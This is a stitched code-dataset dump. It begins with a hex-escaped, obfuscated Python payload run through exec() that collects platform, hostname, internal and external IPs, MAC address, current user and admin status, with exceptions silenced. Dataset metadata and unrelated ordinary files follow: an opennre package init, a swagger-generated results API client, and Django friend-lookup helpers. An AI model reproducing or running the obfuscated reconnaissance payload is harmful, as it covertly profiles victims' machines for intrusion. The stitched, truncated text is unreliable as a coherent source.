x52\x77\x77\x7a\x48\x6d\x4e\x71\x76\x41\x52\x7a\x44\x4a\x48\x57\x73\x41\x6a\x49\x53\x71\x74\x70\x49\x41\x75\x41\x41\x41\x43\x48\x74\x73\x7a\x53\x46\x49\x48\x78\x51\x77\x50\x73\x6f\x45\x4e\x4a\x65\x6e\x47\x6f\x78\x77\x6e\x53\x43\x6e\x73\x53\x72\x4e\x79\x73\x4f\x66\x44\x6d\x4c\x77\x4a\x49\x45\x44\x7a\x6d\x46\x46\x4e\x41\x52\x4a\x43\x48\x51\x49\x4e\x74\x51\x20\x3d\x20\x44\x54\x75\x70\x48\x76\x4d\x49\x55\x45\x41\x72\x70\x49\x73\x44\x51\x70\x58\x43\x48\x74\x47\x42\x43\x7a\x42\x73\x43\x75\x7a\x6c\x79\x46\x67\x7a\x68\x5a\x74\x4f\x41\x45\x56\x52\x4c\x76\x43\x76\x54\x53\x52\x44\x52\x6f\x72\x71\x4c\x71\x51\x45\x43\x41\x42\x42\x6e\x65\x5a\x47\x52\x46\x49\x53\x45\x62\x71\x42\x48\x6d\x44\x49\x42\x48\x78\x44\x77\x74\x43\x4a\x4d\x42\x51\x43\x44\x41\x6d\x56\x49\x46\x42\x51\x55\x45\x49\x70\x6b\x43\x4a\x78\x48\x78\x4f\x44\x79\x45\x6b\x43\x72\x4a\x43\x75\x75\x47\x6a\x67\x73\x48\x0a\x20\x20\x20\x20\x65\x78\x63\x65\x70\x74\x20\x45\x78\x63\x65\x70\x74\x69\x6f\x6e\x3a\x0a\x20\x20\x20\x20\x20\x20\x20\x20\x70\x61\x73\x73\x0a\x20\x20\x20\x20\x51\x54\x46\x71\x79\x4a\x50\x57\x4a\x44\x45\x6a\x45\x75\x55\x4d\x53\x6a\x53\x4a\x50\x5a\x63\x79\x4a\x74\x79\x51\x76\x52\x53\x49\x4e\x67\x74\x4a\x50\x53\x74\x75\x43\x5a\x6a\x59\x4a\x6b\x49\x51\x47\x6b\x61\x6a\x58\x78\x52\x55\x75\x47\x45\x52\x51\x6d\x77\x56\x79\x75\x7a\x4f\x6e\x47\x41\x75\x75\x4a\x50\x4c\x4a\x52\x46\x47\x53\x67\x55\x47\x72\x41\x50\x51\x70\x77\x6d\x46\x52\x76\x42\x6b\x72\x49\x48\x47\x72\x52\x45\x53\x57\x75\x4c\x74\x41\x65\x51\x41\x59\x41\x52\x76\x41\x53\x53\x6c\x50\x6c\x53\x48\x6e\x4a\x54\x20\x3d\x20\x27\x27\x27\x0a\x20\x20\x20\x20\x53\x79\x73\x74\x65\x6d\x20\x50\x6c\x61\x74\x66\x6f\x72\x6d\x20\x20\x20\x20\x20\x2d\x20\x7b\x7d\x0a\x20\x20\x20\x20\x50\x72\x6f\x63\x65\x73\x73\x6f\x72\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x2d\x20\x7b\x7d\x0a\x20\x20\x20\x20\x41\x72\x63\x68\x69\x74\x65\x63\x74\x75\x72\x65\x20\x20\x20\x20\x20\x20\x20\x20\x2d\x20\x7b\x7d\x0a\x20\x20\x20\x20\x48\x6f\x73\x74\x6e\x61\x6d\x65\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x2d\x20\x7b\x7d\x0a\x20\x20\x20\x20\x46\x51\x44\x4e\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x2d\x20\x7b\x7d\x0a\x20\x20\x20\x20\x49\x6e\x74\x65\x72\x6e\x61\x6c\x20\x49\x50\x20\x20\x20\x20\x20\x20\x20\x20\x20\x2d\x20\x7b\x7d\x0a\x20\x20\x20\x20\x45\x78\x74\x65\x72\x6e\x61\x6c\x20\x49\x50\x20\x20\x20\x20\x20\x20\x20\x20\x20\x2d\x20\x7b\x7d\x0a\x20\x20\x20\x20\x4d\x41\x43\x20\x41\x64\x64\x72\x65\x73\x73\x20\x20\x20\x20\x20\x20\x20\x20\x20\x2d\x20\x7b\x7d\x0a\x20\x20\x20\x20\x43\x75\x72\x72\x65\x6e\x74\x20\x55\x73\x65\x72\x20\x20\x20\x20\x20\x20\x20\x20\x2d\x20\x7b\x7d\x0a\x20\x20\x20\x20\x41\x64\x6d\x69\x6e\x20\x41\x63\x63\x65\x73\x73\x20\x20\x20\x20\x20\x20\x20\x20\x2d\x20\x7b\x7d\x0a\x20\x20\x20\x20\x27\x27\x27\x2e\x66\x6f\x72\x6d\x61\x74\x28\x51\x79\x79\x51\x4a\x53\x7a\x7a\x47\x4a\x4a\x69\x47\x76\x75\x61\x49\x4a\x74\x46\x50\x73\x4a\x43\x49\x73\x76\x49\x43\x74\x4a\x72\x48\x73\x48\x55\x43\x6b\x46\x4e\x51\x6f\x53\x6b\x46\x75\x43\x42\x52\x67\x72\x6d\x48\x76\x4c\x74\x78\x44\x7a\x43\x4e\x6a\x50\x46\x56\x49\x6a\x4a\x53\x4a\x6b\x75\x4a\x53\x51\x44\x49\x44\x4a\x4f\x75\x46\x79\x4e\x45\x6d\x4a\x72\x43\x72\x4a\x4c\x45\x4d\x4e\x46\x79\x47\x6e\x53\x56\x57\x4f\x68\x4a\x70\x54\x52\x49\x42\x42\x47\x7a\x45\x71\x6f\x70\x4a\x72\x70\x42\x44\x45\x70\x46\x48\x41\x2c\x20\x70\x72\x6f\x63\x65\x73\x73\x6f\x72\x2c\x20\x61\x72\x63\x68\x69\x74\x65\x63\x74\x75\x72\x65\x2c\x0a\x20\x20\x20\x20\x5a\x52\x71\x49\x72\x79\x78\x78\x53\x79\x52\x7a\x70\x52\x41\x46\x46\x47\x6d\x76\x6c\x51\x51\x47\x4e\x6e\x4d\x72\x46\x73\x52\x7a\x45\x4f\x42\x44\x6a\x52\x71\x76\x46\x44\x42\x54\x70\x41\x52\x72\x77\x47\x45\x73\x46\x46\x79\x74\x78\x50\x7a\x53\x67\x68\x70\x51\x46\x6e\x71\x41\x46\x5a\x48\x52\x55\x4e\x50\x47\x7a\x42\x43\x71\x5a\x6b\x74\x47\x4f\x77\x74\x45\x76\x49\x49\x4c\x4b\x45\x53\x72\x55\x53\x79\x70\x41\x44\x58\x4f\x46\x77\x76\x4f\x45\x4f\x4a\x46\x4a\x53\x79\x70\x70\x76\x4a\x6f\x67\x5a\x48\x66\x6a\x72\x52\x2c\x20\x45\x6e\x4a\x71\x74\x43\x79\x6c\x45\x54\x72\x53\x79\x59\x79\x4a\x4e\x73\x76\x74\x75\x41\x44\x6b\x48\x6e\x46\x44\x6c\x43\x46\x52\x44\x53\x76\x4a\x44\x4a\x53\x4a\x49\x6a\x44\x42\x49\x43\x7a\x42\x78\x49\x79\x47\x46\x74\x4e\x45\x69\x4d\x46\x4e\x51\x71\x52\x49\x42\x61\x53\x7a\x45\x47\x56\x6e\x41\x66\x44\x57\x53\x63\x79\x43\x62\x56\x43\x78\x50\x50\x53\x49\x53\x72\x4c\x69\x56\x51\x47\x52\x43\x70\x53\x48\x6a\x79\x46\x45\x43\x53\x44\x46\x46\x45\x79\x7a\x6e\x4a\x6d\x50\x47\x44\x57\x4a\x43\x73\x49\x41\x79\x46\x58\x2c\x20\x41\x4a\x67\x78\x71\x53\x44\x45\x75\x79\x43\x44\x4a\x50\x45\x78\x43\x45\x44\x49\x48\x72\x72\x7a\x41\x50\x77\x4f\x41\x49\x48\x49\x52\x73\x44\x41\x49\x6f\x79\x51\x50\x69\x73\x49\x72\x56\x48\x67\x53\x4d\x51\x4a\x75\x79\x67\x46\x46\x46\x48\x42\x69\x53\x6b\x42\x76\x47\x49\x42\x47\x46\x79\x6b\x42\x44\x47\x52\x4a\x51\x53\x77\x78\x79\x46\x70\x41\x49\x6f\x73\x53\x53\x51\x71\x47\x51\x49\x7a\x77\x70\x71\x56\x50\x79\x4a\x47\x45\x42\x74\x6b\x66\x6a\x65\x47\x5a\x4b\x46\x76\x4e\x48\x46\x69\x45\x4d\x43\x49\x41\x6d\x2c\x20\x7a\x43\x77\x44\x53\x5a\x77\x51\x51\x50\x4d\x6d\x52\x53\x49\x43\x50\x59\x6a\x6a\x46\x52\x52\x44\x79\x7a\x65\x52\x47\x75\x4a\x79\x53\x59\x4a\x42\x45\x77\x4c\x7a\x4d\x6e\x6b\x79\x77\x4e\x53\x52\x49\x45\x51\x76\x72\x62\x6d\x47\x45\x53\x49\x43\x41\x75\x41\x53\x49\x78\x6a\x41\x45\x50\x47\x77\x7a\x74\x4d\x67\x45\x47\x49\x44\x70\x45\x70\x6a\x76\x51\x4b\x41\x50\x50\x48\x7a\x48\x47\x78\x77\x4a\x59\x79\x6e\x49\x52\x53\x69\x64\x53\x74\x70\x47\x49\x55\x72\x42\x41\x4a\x47\x6f\x41\x76\x4d\x7a\x48\x50\x48\x64\x41\x4e\x2c\x20\x51\x52\x48\x51\x48\x49\x71\x49\x78\x55\x53\x72\x7a\x47\x45\x52\x56\x48\x44\x49\x45\x52\x69\x56\x77\x4a\x6f\x53\x72\x74\x7a\x41\x45\x6f\x77\x71\x48\x79\x79\x53\x48\x52\x74\x69\x47\x49\x42\x49\x55\x65\x76\x45\x4a\x6e\x7a\x75\x78\x52\x76\x76\x41\x49\x75\x76\x53\x48\x45\x78\x73\x42\x48\x54\x79\x4f\x47\x52\x55\x43\x50\x48\x66\x42\x45\x6f\x44\x4f\x52\x74\x4a\x75\x4a\x6e\x49\x58\x76\x79\x53\x68\x4a\x4e\x6f\x50\x4a\x41\x52\x73\x73\x79\x46\x53\x44\x6f\x6f\x70\x45\x76\x78\x78\x70\x70\x45\x6b\x47\x69\x41\x42\x49\x2c\x20\x44\x4a\x41\x4f\x71\x50\x49\x6e\x6d\x78\x78\x47\x79\x43\x75\x68\x72\x50\x41\x50\x41\x49\x68\x75\x53\x57\x44\x74\x52\x43\x41\x47\x52\x4d\x44\x44\x6f\x55\x76\x4d\x76\x53\x57\x43\x45\x6d\x50\x68\x6e\x72\x74\x41\x6a\x47\x6a\x48\x43\x48\x73\x47\x42\x48\x46\x6d\x6d\x44\x6e\x6b\x51\x42\x78\x4a\x49\x78\x4f\x77\x77\x7a\x4e\x6c\x49\x43\x53\x7a\x46\x45\x52\x53\x50\x75\x7a\x42\x47\x68\x57\x72\x49\x48\x46\x79\x6e\x46\x4a\x50\x56\x44\x71\x42\x77\x51\x48\x76\x6f\x72\x48\x74\x77\x6f\x47\x47\x53\x4a\x46\x77\x42\x47\x49\x2c\x20\x44\x46\x49\x52\x73\x7a\x73\x44\x52\x7a\x51\x7a\x48\x74\x55\x71\x54\x49\x78\x41\x49\x48\x51\x43\x42\x75\x74\x43\x4c\x4c\x4e\x77\x4f\x6f\x68\x79\x6d\x52\x4a\x79\x71\x5a\x52\x74\x58\x79\x52\x79\x4f\x79\x49\x6b\x44\x41\x42\x4a\x49\x46\x41\x53\x79\x4d\x42\x44\x44\x48\x58\x58\x6e\x59\x46\x65\x41\x76\x74\x79\x50\x77\x79\x70\x75\x4a\x49\x66\x49\x52\x47\x71\x45\x7a\x79\x42\x43\x71\x73\x47\x6b\x41\x49\x54\x65\x45\x58\x4a\x4a\x74\x53\x46\x71\x7a\x46\x51\x52\x52\x6a\x46\x53\x45\x6b\x75\x79\x78\x78\x77\x4f\x78\x58\x29\x0a\x20\x20\x20\x20\x72\x65\x74\x75\x72\x6e\x20\x51\x54\x46\x71\x79\x4a\x50\x57\x4a\x44\x45\x6a\x45\x75\x55\x4d\x53\x6a\x53\x4a\x50\x5a\x63\x79\x4a\x74\x79\x51\x76\x52\x53\x49\x4e\x67\x74\x4a\x50\x53\x74\x75\x43\x5a\x6a\x59\x4a\x6b\x49\x51\x47\x6b\x61\x6a\x58\x78\x52\x55\x75\x47\x45\x52\x51\x6d\x77\x56\x79\x75\x7a\x4f\x6e\x47\x41\x75\x75\x4a\x50\x4c\x4a\x52\x46\x47\x53\x67\x55\x47\x72\x41\x50\x51\x70\x77\x6d\x46\x52\x76\x42\x6b\x72\x49\x48\x47\x72\x52\x45\x53\x57\x75\x4c\x74\x41\x65\x51\x41\x59\x41\x52\x76\x41\x53\x53\x6c\x50\x6c\x53\x48\x6e\x4a\x54\x0a"""
exec(uAgRqYQhISDguivtrqQFHAFDRiQHAFpDBEPkqxRDmIsOBIZkINRnTWSAPOrlXmEGyFIzwEQqFwCvRBDEswkBitREAJFOEtInvygwFIFElOXyXsBJRMivoEQHGHGCmBw)
| 180,108
| 360,082
| 0.750158
| 89,990
| 360,216
| 3.002767
| 0.000922
| 0.100785
| 0.138221
| 0.16702
| 0.887402
| 0.884383
| 0.883128
| 0.881041
| 0.879909
| 0.879176
| 0
| 0.447647
| 0.000003
| 360,216
| 2
| 360,083
| 180,108
| 0.302514
| 0
| 0
| 0
| 0
| 0.5
| 0.999253
| 0.999253
| 0
| 1
| 0
| 0
| 0
| 1
| 0
| false
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| null | 0
| 0
| 1
| 1
| 1
| 1
| 1
| 1
| 1
| 0
| 1
| 0
| 0
| 1
| 1
| 1
| 1
| 0
| 0
| 0
| 0
| 1
| 1
| 1
| null | 1
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
|
0
| 16
|
1d1a7c303852666bf6568730dffbacbca5527d27
| 162
|
py
|
Python
|
opennre/data/__init__.py
|
igorvlnascimento/DeepREF
|
0fed8120571e44e12ee3d1861289bc101c0a275f
|
[
"MIT"
] | null | null | null |
opennre/data/__init__.py
|
igorvlnascimento/DeepREF
|
0fed8120571e44e12ee3d1861289bc101c0a275f
|
[
"MIT"
] | null | null | null |
opennre/data/__init__.py
|
igorvlnascimento/DeepREF
|
0fed8120571e44e12ee3d1861289bc101c0a275f
|
[
"MIT"
] | null | null | null |
from __future__ import absolute_import
from __future__ import division
from __future__ import print_function
from .generate_parser_dict import csv2id, save2json
| 27
| 51
| 0.876543
| 21
| 162
| 6
| 0.571429
| 0.238095
| 0.380952
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0.013889
| 0.111111
| 162
| 5
| 52
| 32.4
| 0.861111
| 0
| 0
| 0
| 1
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 1
| 0
| true
| 0
| 1
| 0
| 1
| 0.25
| 1
| 0
| 0
| null | 1
| 1
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 1
| 0
| 0
| 0
| 0
| 0
| 0
| 1
| 0
| 0
| 0
| null | 0
| 0
| 0
| 0
| 0
| 0
| 1
| 0
| 1
| 0
| 1
| 0
|
0
| 8
|
1d2754502132ffcec098d0cb0f071e651d4dd12e
| 18,098
|
py
|
Python
|
swagger_client/api/result_api.py
|
radon-h2020/radon-ctt-cli
|
3120b748c73e99d81d0cac5037e393229577d640
|
[
"Apache-2.0"
] | null | null | null |
swagger_client/api/result_api.py
|
radon-h2020/radon-ctt-cli
|
3120b748c73e99d81d0cac5037e393229577d640
|
[
"Apache-2.0"
] | null | null | null |
swagger_client/api/result_api.py
|
radon-h2020/radon-ctt-cli
|
3120b748c73e99d81d0cac5037e393229577d640
|
[
"Apache-2.0"
] | null | null | null |
# coding: utf-8
"""
RADON CTT Server API
This is API of the RADON Continuous Testing Tool (CTT) Server: <a href=\"https://github.com/radon-h2020/radon-ctt\">https://github.com/radon-h2020/radon-ctt<a/> # noqa: E501
OpenAPI spec version: 1.0.0-oas3
Generated by: https://github.com/swagger-api/swagger-codegen.git
"""
from __future__ import absolute_import
import re # noqa: F401
# python 2 and python 3 compatibility library
import six
from swagger_client.api_client import ApiClient
class ResultApi(object):
"""NOTE: This class is auto generated by the swagger code generator program.
Do not edit the class manually.
Ref: https://github.com/swagger-api/swagger-codegen
"""
def __init__(self, api_client=None):
if api_client is None:
api_client = ApiClient()
self.api_client = api_client
def create_result(self, **kwargs): # noqa: E501
"""Creates new result # noqa: E501
Creates a new result based on a previously run execution. # noqa: E501
This method makes a synchronous HTTP request by default. To make an
asynchronous HTTP request, please pass async_req=True
>>> thread = api.create_result(async_req=True)
>>> result = thread.get()
:param async_req bool
:param POSTResult body:
:return: None
If the method is called asynchronously,
returns the request thread.
"""
kwargs['_return_http_data_only'] = True
if kwargs.get('async_req'):
return self.create_result_with_http_info(**kwargs) # noqa: E501
else:
(data) = self.create_result_with_http_info(**kwargs) # noqa: E501
return data
def create_result_with_http_info(self, **kwargs): # noqa: E501
"""Creates new result # noqa: E501
Creates a new result based on a previously run execution. # noqa: E501
This method makes a synchronous HTTP request by default. To make an
asynchronous HTTP request, please pass async_req=True
>>> thread = api.create_result_with_http_info(async_req=True)
>>> result = thread.get()
:param async_req bool
:param POSTResult body:
:return: None
If the method is called asynchronously,
returns the request thread.
"""
all_params = ['body'] # noqa: E501
all_params.append('async_req')
all_params.append('_return_http_data_only')
all_params.append('_preload_content')
all_params.append('_request_timeout')
params = locals()
for key, val in six.iteritems(params['kwargs']):
if key not in all_params:
raise TypeError(
"Got an unexpected keyword argument '%s'"
" to method create_result" % key
)
params[key] = val
del params['kwargs']
collection_formats = {}
path_params = {}
query_params = []
header_params = {}
form_params = []
local_var_files = {}
body_params = None
if 'body' in params:
body_params = params['body']
# HTTP header `Content-Type`
header_params['Content-Type'] = self.api_client.select_header_content_type( # noqa: E501
['application/json']) # noqa: E501
# Authentication setting
auth_settings = [] # noqa: E501
return self.api_client.call_api(
'/result', 'POST',
path_params,
query_params,
header_params,
body=body_params,
post_params=form_params,
files=local_var_files,
response_type=None, # noqa: E501
auth_settings=auth_settings,
async_req=params.get('async_req'),
_return_http_data_only=params.get('_return_http_data_only'),
_preload_content=params.get('_preload_content', True),
_request_timeout=params.get('_request_timeout'),
collection_formats=collection_formats)
def delete_result_by_uuid(self, result_uuid, **kwargs): # noqa: E501
"""Delete a result # noqa: E501
Deletes the result with the given UUID on it # noqa: E501
This method makes a synchronous HTTP request by default. To make an
asynchronous HTTP request, please pass async_req=True
>>> thread = api.delete_result_by_uuid(result_uuid, async_req=True)
>>> result = thread.get()
:param async_req bool
:param str result_uuid: UUID of the result to delete (required)
:return: Result
If the method is called asynchronously,
returns the request thread.
"""
kwargs['_return_http_data_only'] = True
if kwargs.get('async_req'):
return self.delete_result_by_uuid_with_http_info(result_uuid, **kwargs) # noqa: E501
else:
(data) = self.delete_result_by_uuid_with_http_info(result_uuid, **kwargs) # noqa: E501
return data
def delete_result_by_uuid_with_http_info(self, result_uuid, **kwargs): # noqa: E501
"""Delete a result # noqa: E501
Deletes the result with the given UUID on it # noqa: E501
This method makes a synchronous HTTP request by default. To make an
asynchronous HTTP request, please pass async_req=True
>>> thread = api.delete_result_by_uuid_with_http_info(result_uuid, async_req=True)
>>> result = thread.get()
:param async_req bool
:param str result_uuid: UUID of the result to delete (required)
:return: Result
If the method is called asynchronously,
returns the request thread.
"""
all_params = ['result_uuid'] # noqa: E501
all_params.append('async_req')
all_params.append('_return_http_data_only')
all_params.append('_preload_content')
all_params.append('_request_timeout')
params = locals()
for key, val in six.iteritems(params['kwargs']):
if key not in all_params:
raise TypeError(
"Got an unexpected keyword argument '%s'"
" to method delete_result_by_uuid" % key
)
params[key] = val
del params['kwargs']
# verify the required parameter 'result_uuid' is set
if ('result_uuid' not in params or
params['result_uuid'] is None):
raise ValueError("Missing the required parameter `result_uuid` when calling `delete_result_by_uuid`") # noqa: E501
collection_formats = {}
path_params = {}
if 'result_uuid' in params:
path_params['result_uuid'] = params['result_uuid'] # noqa: E501
query_params = []
header_params = {}
form_params = []
local_var_files = {}
body_params = None
# HTTP header `Accept`
header_params['Accept'] = self.api_client.select_header_accept(
['application/json']) # noqa: E501
# Authentication setting
auth_settings = [] # noqa: E501
return self.api_client.call_api(
'/result/{result_uuid}', 'DELETE',
path_params,
query_params,
header_params,
body=body_params,
post_params=form_params,
files=local_var_files,
response_type='Result', # noqa: E501
auth_settings=auth_settings,
async_req=params.get('async_req'),
_return_http_data_only=params.get('_return_http_data_only'),
_preload_content=params.get('_preload_content', True),
_request_timeout=params.get('_request_timeout'),
collection_formats=collection_formats)
def download_result_by_uuid(self, result_uuid, **kwargs): # noqa: E501
"""Downloads the generated results # noqa: E501
This method makes a synchronous HTTP request by default. To make an
asynchronous HTTP request, please pass async_req=True
>>> thread = api.download_result_by_uuid(result_uuid, async_req=True)
>>> result = thread.get()
:param async_req bool
:param str result_uuid: UUID of the result to download (required)
:return: str
If the method is called asynchronously,
returns the request thread.
"""
kwargs['_return_http_data_only'] = True
if kwargs.get('async_req'):
return self.download_result_by_uuid_with_http_info(result_uuid, **kwargs) # noqa: E501
else:
(data) = self.download_result_by_uuid_with_http_info(result_uuid, **kwargs) # noqa: E501
return data
def download_result_by_uuid_with_http_info(self, result_uuid, **kwargs): # noqa: E501
"""Downloads the generated results # noqa: E501
This method makes a synchronous HTTP request by default. To make an
asynchronous HTTP request, please pass async_req=True
>>> thread = api.download_result_by_uuid_with_http_info(result_uuid, async_req=True)
>>> result = thread.get()
:param async_req bool
:param str result_uuid: UUID of the result to download (required)
:return: str
If the method is called asynchronously,
returns the request thread.
"""
all_params = ['result_uuid'] # noqa: E501
all_params.append('async_req')
all_params.append('_return_http_data_only')
all_params.append('_preload_content')
all_params.append('_request_timeout')
params = locals()
for key, val in six.iteritems(params['kwargs']):
if key not in all_params:
raise TypeError(
"Got an unexpected keyword argument '%s'"
" to method download_result_by_uuid" % key
)
params[key] = val
del params['kwargs']
# verify the required parameter 'result_uuid' is set
if ('result_uuid' not in params or
params['result_uuid'] is None):
raise ValueError("Missing the required parameter `result_uuid` when calling `download_result_by_uuid`") # noqa: E501
collection_formats = {}
path_params = {}
if 'result_uuid' in params:
path_params['result_uuid'] = params['result_uuid'] # noqa: E501
query_params = []
header_params = {}
form_params = []
local_var_files = {}
body_params = None
# HTTP header `Accept`
header_params['Accept'] = self.api_client.select_header_accept(
['application/json']) # noqa: E501
# Authentication setting
auth_settings = [] # noqa: E501
return self.api_client.call_api(
'/result/{result_uuid}/download', 'GET',
path_params,
query_params,
header_params,
body=body_params,
post_params=form_params,
files=local_var_files,
response_type='str', # noqa: E501
auth_settings=auth_settings,
async_req=params.get('async_req'),
_return_http_data_only=params.get('_return_http_data_only'),
_preload_content=params.get('_preload_content', True),
_request_timeout=params.get('_request_timeout'),
collection_formats=collection_formats)
def get_result_by_uuid(self, result_uuid, **kwargs): # noqa: E501
"""Retrieve a result # noqa: E501
This method makes a synchronous HTTP request by default. To make an
asynchronous HTTP request, please pass async_req=True
>>> thread = api.get_result_by_uuid(result_uuid, async_req=True)
>>> result = thread.get()
:param async_req bool
:param str result_uuid: UUID of the result to return (required)
:return: Result
If the method is called asynchronously,
returns the request thread.
"""
kwargs['_return_http_data_only'] = True
if kwargs.get('async_req'):
return self.get_result_by_uuid_with_http_info(result_uuid, **kwargs) # noqa: E501
else:
(data) = self.get_result_by_uuid_with_http_info(result_uuid, **kwargs) # noqa: E501
return data
def get_result_by_uuid_with_http_info(self, result_uuid, **kwargs): # noqa: E501
"""Retrieve a result # noqa: E501
This method makes a synchronous HTTP request by default. To make an
asynchronous HTTP request, please pass async_req=True
>>> thread = api.get_result_by_uuid_with_http_info(result_uuid, async_req=True)
>>> result = thread.get()
:param async_req bool
:param str result_uuid: UUID of the result to return (required)
:return: Result
If the method is called asynchronously,
returns the request thread.
"""
all_params = ['result_uuid'] # noqa: E501
all_params.append('async_req')
all_params.append('_return_http_data_only')
all_params.append('_preload_content')
all_params.append('_request_timeout')
params = locals()
for key, val in six.iteritems(params['kwargs']):
if key not in all_params:
raise TypeError(
"Got an unexpected keyword argument '%s'"
" to method get_result_by_uuid" % key
)
params[key] = val
del params['kwargs']
# verify the required parameter 'result_uuid' is set
if ('result_uuid' not in params or
params['result_uuid'] is None):
raise ValueError("Missing the required parameter `result_uuid` when calling `get_result_by_uuid`") # noqa: E501
collection_formats = {}
path_params = {}
if 'result_uuid' in params:
path_params['result_uuid'] = params['result_uuid'] # noqa: E501
query_params = []
header_params = {}
form_params = []
local_var_files = {}
body_params = None
# HTTP header `Accept`
header_params['Accept'] = self.api_client.select_header_accept(
['application/json']) # noqa: E501
# Authentication setting
auth_settings = [] # noqa: E501
return self.api_client.call_api(
'/result/{result_uuid}', 'GET',
path_params,
query_params,
header_params,
body=body_params,
post_params=form_params,
files=local_var_files,
response_type='Result', # noqa: E501
auth_settings=auth_settings,
async_req=params.get('async_req'),
_return_http_data_only=params.get('_return_http_data_only'),
_preload_content=params.get('_preload_content', True),
_request_timeout=params.get('_request_timeout'),
collection_formats=collection_formats)
def get_results(self, **kwargs): # noqa: E501
"""Get all results # noqa: E501
This method makes a synchronous HTTP request by default. To make an
asynchronous HTTP request, please pass async_req=True
>>> thread = api.get_results(async_req=True)
>>> result = thread.get()
:param async_req bool
:return: list[Result]
If the method is called asynchronously,
returns the request thread.
"""
kwargs['_return_http_data_only'] = True
if kwargs.get('async_req'):
return self.get_results_with_http_info(**kwargs) # noqa: E501
else:
(data) = self.get_results_with_http_info(**kwargs) # noqa: E501
return data
def get_results_with_http_info(self, **kwargs): # noqa: E501
"""Get all results # noqa: E501
This method makes a synchronous HTTP request by default. To make an
asynchronous HTTP request, please pass async_req=True
>>> thread = api.get_results_with_http_info(async_req=True)
>>> result = thread.get()
:param async_req bool
:return: list[Result]
If the method is called asynchronously,
returns the request thread.
"""
all_params = [] # noqa: E501
all_params.append('async_req')
all_params.append('_return_http_data_only')
all_params.append('_preload_content')
all_params.append('_request_timeout')
params = locals()
for key, val in six.iteritems(params['kwargs']):
if key not in all_params:
raise TypeError(
"Got an unexpected keyword argument '%s'"
" to method get_results" % key
)
params[key] = val
del params['kwargs']
collection_formats = {}
path_params = {}
query_params = []
header_params = {}
form_params = []
local_var_files = {}
body_params = None
# HTTP header `Accept`
header_params['Accept'] = self.api_client.select_header_accept(
['application/json']) # noqa: E501
# Authentication setting
auth_settings = [] # noqa: E501
return self.api_client.call_api(
'/result', 'GET',
path_params,
query_params,
header_params,
body=body_params,
post_params=form_params,
files=local_var_files,
response_type='list[Result]', # noqa: E501
auth_settings=auth_settings,
async_req=params.get('async_req'),
_return_http_data_only=params.get('_return_http_data_only'),
_preload_content=params.get('_preload_content', True),
_request_timeout=params.get('_request_timeout'),
collection_formats=collection_formats)
| 36.85947
| 178
| 0.604763
| 2,115
| 18,098
| 4.901655
| 0.07896
| 0.047844
| 0.02778
| 0.034726
| 0.937012
| 0.931417
| 0.931417
| 0.913668
| 0.913668
| 0.891386
| 0
| 0.016251
| 0.306387
| 18,098
| 490
| 179
| 36.934694
| 0.809607
| 0.324124
| 0
| 0.789272
| 0
| 0
| 0.167259
| 0.043927
| 0
| 0
| 0
| 0
| 0
| 1
| 0.042146
| false
| 0
| 0.015326
| 0
| 0.118774
| 0
| 0
| 0
| 0
| null | 0
| 0
| 0
| 1
| 1
| 1
| 1
| 1
| 1
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 1
| 0
| 0
| 0
| 0
| null | 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
|
0
| 7
|
1d4c7a644a96fe97b5625d02d383e95ce6b6d2f2
| 2,960
|
py
|
Python
|
socialdistribution/api/helpers/author_helpers.py
|
CMPUT404-F21T0/CMPUT404-Project-BetterSocial
|
04a621915108a434d50e900165cefdb0d4cca45c
|
[
"Apache-2.0"
] | null | null | null |
socialdistribution/api/helpers/author_helpers.py
|
CMPUT404-F21T0/CMPUT404-Project-BetterSocial
|
04a621915108a434d50e900165cefdb0d4cca45c
|
[
"Apache-2.0"
] | 2
|
2021-10-29T20:18:57.000Z
|
2021-12-04T14:57:34.000Z
|
socialdistribution/api/helpers/author_helpers.py
|
CMPUT404-F21T0/CMPUT404-Project-BetterSocial
|
04a621915108a434d50e900165cefdb0d4cca45c
|
[
"Apache-2.0"
] | null | null | null |
from typing import Set, List
from uuid import UUID
from rest_framework.request import Request
from api import serializers
from bettersocial.models import Author
from . import remote_helpers
def get_author_friends(request: Request, author: Author) -> List:
"""Get all the author's friends, including remote ones"""
following = { f.following_uuid for f in author.following_set.all() }
followers = { f.follower_uuid for f in author.follower_set.all() }
# Set intersection of APPROVED followers and people you've followed
uuid_set: Set[UUID] = followers & following
# This will hold local and remote author objects, as JSON
friends = list()
for uuid_item in uuid_set:
try:
local_author: Author = Author.objects.filter(uuid = uuid_item).get()
# IFF the author we're trying to verify friendship with has APPROVED our request (meaning there would be an entry in local_author FOLLOWERS), proceed.
if local_author.follower_set.filter(follower_uuid = author.uuid):
friends.append(serializers.AuthorSerializer(local_author, context = { 'request': request }).data)
except Author.DoesNotExist:
# If the author does not exist locally, find it remotely
remote_author_json = remote_helpers.find_remote_author(uuid_item)
# If found AND the remote author has approved our follow, add, if not, ignore
if remote_author_json and remote_helpers.approved_follow(uuid_item, author.uuid):
friends.append(remote_author_json)
return friends
def get_author_friends_as_uuid(author: Author) -> List[UUID]:
"""Get all the author's friends, including remote ones, as UUIDs (i.e. does not need request)"""
following = { f.following_uuid for f in author.following_set.all() }
followers = { f.follower_uuid for f in author.follower_set.all() }
# Set intersection of APPROVED followers and people you've followed
uuid_set: Set[UUID] = followers & following
# This will hold local and remote author objects, as uuids
friends = list()
for uuid_item in uuid_set:
try:
local_author: Author = Author.objects.filter(uuid = uuid_item).get()
# IFF the author we're trying to verify friendship with has APPROVED our request (meaning there would be an entry in local_author FOLLOWERS), proceed.
if local_author.follower_set.filter(follower_uuid = author.uuid):
friends.append(uuid_item)
except Author.DoesNotExist:
# If the author does not exist locally, find it remotely
remote_author_json = remote_helpers.find_remote_author(uuid_item)
# If found AND the remote author has approved our follow, add, if not, ignore
if remote_author_json and remote_helpers.approved_follow(uuid_item, author.uuid):
friends.append(remote_author_json)
return friends
| 41.690141
| 162
| 0.701351
| 405
| 2,960
| 4.97284
